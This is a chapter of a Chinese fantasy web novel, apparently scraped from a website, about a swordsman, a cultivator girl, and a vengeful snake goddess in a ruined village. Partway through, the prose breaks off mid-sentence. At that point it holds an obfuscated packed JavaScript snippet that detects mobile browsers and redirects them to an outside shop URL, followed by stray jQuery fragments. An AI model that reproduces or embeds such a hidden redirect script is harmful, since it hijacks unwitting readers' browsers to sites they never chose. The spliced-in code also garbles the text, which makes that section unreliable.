蛇妖没想到这剑修听完她的话不要命似得向她刺来,她张口咬在剑修肩膀上,剑修却对她的攻击也不躲开,大有与她同归于尽的架势。
蛇妖急忙与面前的剑修拉开距离,出声大喊:“我没见到你说的女剑修,我昨夜杀死的是一名男剑修!”
岱千尘听到蛇妖的话止住下一步动作,抬眸看向蛇妖的脸试图看出她有没有撒谎,他目光下移又看向那蛇妖的剑伤。方才是他着急了,现在再看这蛇妖的剑伤与师妹平日用的剑法造成的伤势有些许不同。
蛇妖害怕岱千尘不相信她说的话,还想张口,却被岱千尘止住了:“我知道了。”
岱千尘听到这话悬着的心放了下来,握着长风剑就离开了道观,身后的蛇妖也不好受,并没有追上他的意思。
须臾,岱千尘靠在一颗树下看着自己身上刚刚与蛇妖打斗留下的伤口,衣袍破碎,一道触目惊心的伤口在右肋,是刚刚被那记蛇尾扫过刮伤的,他稍微一动血水就汩汩流下。他从储物袋中拿出一颗回春丹服下,经过一炷香的时间他能简单的行动了。
*
还在震惊面前的小女孩不是活人的柳时鸢听到了青黛毫无感情的声音。
青黛:[奖励发放完成。]
柳时鸢顿时感觉身上仿佛有一道桎梏在消失,她的修为来到了金丹期初期。
她丝毫没有注意到自己怀中的那枚刻着步字的玉牌亮了一下。
柳时鸢眉眼微弯,脸颊漾出浅浅的梨涡。看着面前没有丝毫生人气息的小女孩也不害怕了。
她用灵力细瞧见小女孩没有被业力缠身的煞气,决定向她打听下这小池村究竟是怎么一回事,看看能不能找到关于分界阵的一些线索与大师兄他们汇合。
柳时鸢弯下腰与小女孩齐平,“妹妹,你叫什么名字呀?”她试着和小女孩拉近关系。
小女孩平淡的声音传出:“我叫阿奴。”
柳时鸢继续问道:“那你哥哥现在在哪里呢?”
阿奴的瞳孔动了一下,道:“哥哥找草药去了。”
……
柳时鸢问一句阿奴答一句,就这样一问一答柳时鸢了解到了道观里供奉的石像是叫白目娘娘。
这白目娘娘是在五十年前突然出现在小池村的,她刚到村子时人面蛇身,深受重伤,大家都惊呼她是吃人的妖怪,想要把她杀死但又害怕被她反扑,只能先关起来寻求附近的宗门修士帮助灭了这妖怪。
那白目娘娘听见挣扎了起来说自己从未害过人,但求村民不要把她交出去。村民无一人相信,也就是那时,阿奴见到了白目娘娘。
被爹娘遗忘的阿奴看见了也被关进柴房的蛇妖吓得缩在墙角,她以为自己的爹娘是要让蛇妖吃掉自己害怕的不敢出声,可是那蛇妖只是坐在对面一言不发地盯着她。
就这样一人一蛇被关了一日,蛇妖按耐不住先开了口,蛇妖看着穿的破破烂烂的小女孩,瘦巴巴的,浑身上下被打的皮开肉绽没有一处好地方,皱眉问道:“你身上的伤是谁打的。”
阿奴像被声音吓到瑟缩了起来,过了许久才开口:“我爹,他说我是拖油瓶,就经常打我出气。”
蛇妖没想到有人会狠心把自己的孩子打成这样,看着那满身伤口的小孩蛇妖动了恻隐之心,明明自己性命都危在旦夕但还是用体内所剩不多的妖力治好了她。
晚上,阿奴的哥哥阿蛮偷偷来给阿奴送饭时发现了妹妹身上的伤全没了,从妹妹口中了解到是蛇妖救了妹妹,于是跑去村子大喊蛇妖是神仙她能救人,不要杀了她……
吃人的蛇妖变成了菩萨心肠的白目娘娘,村民为她建起道观希望她能保佑自己,孩童间流传起歌颂她的童谣。曾有路过的修士提醒她是蛇妖却被村民们赶了出来,修士见她未曾伤害过百姓就不再说什么了。
柳时鸢看着如今破败的村落和那被砸的面目全非的石像问道:“那后来呢,村子怎么会变成这样子?”
阿奴声音淡淡道:“后来……”
白目娘娘并没有因为最初的事情怪罪村民,反而几十年来一只帮助村民。但她本就是一个修为不太高的小妖,因为每天都在频繁的用妖力,她开始慢慢的用不出妖力,村民的质疑声渐渐传出。
“你不是神仙吗,我们每天供奉你你为什么不帮我们!”
“求求你了,白目娘娘,帮帮我吧……”
“我看她就是蛇妖,什么白目娘娘,就是个妖怪……”
……
质疑声、责骂、哀怨不断吞噬着白目。
所有的哀怨在一个夜晚爆发,村子里有人失踪死了。从那人的残肢能看出是被野兽撕咬造成的,但是村民把它追究于白目,他们认为是白目杀死的,她吃掉了那人来增长自己的修为。
村长带着村民来到道观把他们每日供奉的石像砸了,大骂白目是妖怪,白目看着举着火把的人们满是悲凉,为什么会变成这样。他们称她是白目娘娘,能帮助村民,那她就当好白目娘娘每日耗费妖力帮助村民,可她妖力耗尽没法帮助他们了那些人却开始指责她,把莫须有的罪名安在她身上。
白目没有吃掉这些人,她躲了起来,她低估了村民对她的恶意。
小池村的村长找来了一名的修士,扬言要为死去的村民讨回公道,杀掉蛇妖。谁知,那修士就是一个来骗钱的人根本没有真本事,他见到蛇妖白目的那一刻吓得屁滚尿流地跑了,徒留村民在原地干瞪眼,村长想要打感情牌让白目放过他们。
白目不再相信这群人的话,讥讽道:“老东西,你不是说我吃人来增长自己的修为吗,那我就吃给你看。”
白目立在断崖边,白皙的脖颈浮现出细密的白鳞,从耳后一路蔓延进衣领深处,吐出蛇信子发出嘶嘶的声音,裙摆底下浮出粗壮的蛇尾,她直接张口吞下了村长身侧的男人。村长被吓得瘫软在地,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721198|208659||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
村民四散而逃,但白目没有给他们逃跑的机会,用尾巴把人直接拍晕一口一个全吞了。
白目再次来到小池村,她想再来看一眼那个瘦巴巴的小姑娘,等看完她就离开这里。可当她来到阿奴家里却发现阿奴已经死了,就连她的哥哥阿蛮也没了,小儿身上满身伤痕。是她害死了两个小孩,白目看着这两个小孩一时说不出话,她想过一走了之,但是又想起了阿奴怯生生地喊她白目娘娘,阿蛮给她通风报信说村长要找修士杀她。
白目最后叹了口气留在了小池村。
……
柳时鸢问道:“那你们被白目娘娘救活了之后就一直呆在小池村?”
阿奴点了点头“嗯”了一声。
柳时鸢听到这回答追问道:“那这里的法阵你知道是谁布置的吗?”
本来面无表情的女孩拧起了眉,“那是个年轻的修士布置的,他是来杀白目娘娘的。不过现在应该死掉了,活该!”
听到这话的柳时鸢汗颜,巧了,她也是来杀阿奴口中的白目娘娘。
柳时鸢叹息原本生性善良的蛇妖竟被逼成这样子。但是如今的白目是必须要杀掉的,她早已经不是阿奴口中的白目娘娘了,她吞食附近数名无辜的采药百姓造成杀戮早已经不能留下了。
阿奴见柳时鸢不说话望向她:“你怎会来这里,你也是来杀白目娘娘的?”阿奴与柳时鸢拉开了距离。
柳时鸢连忙找补道:“我是来找师兄的,我与他走散了,不然我刚刚怎会问你法阵的事情。”
阿奴盯了柳时鸢两秒,“这个法阵在辰时和未时会聚拢一次,那时可以去找你的师兄。”
柳时鸢算了算时间快到辰时了,便和阿奴告别准备去找岱千尘和毕辛。她刚离开道观就见到自己后面跟着一个小尾巴阿奴,她转身问道:“阿奴跟着我做什么,我要去找师兄了。”
阿奴抿了抿嘴,“我没有跟着你,我要去找我哥哥。”她撒谎了,她是害怕柳时鸢要去杀白目娘娘,这个人一看就很厉害,白目娘娘昨日还受了伤,万一白目娘娘敌不过她也可以为白母娘娘抵上两剑。
柳时鸢便没有管阿奴,任由她在后面跟着自己。
她抬手挡住眼前刺眼的阳光,计划着该如何杀掉白目。白目本就是身受重伤回到小池村,又听阿奴的话白目应当与昨日的人有一战,能布置出如此厉害法阵的人修为必然不会太低,白目现如今定是十分虚弱,她与大师兄合力围攻白目应是没有问题。
柳时鸢又扭头看了看身后的阿奴叹了口气,心想到时不能让阿奴跟在身边,她不太想让阿奴亲眼见到白目死去。也不知白目是用了什么秘术让人起死回生,估计到时候白目死了阿奴也就会消散了,不知不觉的消散也挺好的。
一炷香后,柳时鸢感受到了空气中灵力的波动,分界阵聚拢了。
她眯眼瞧见了十丈开外的树下站着一个人,是大师兄岱千尘。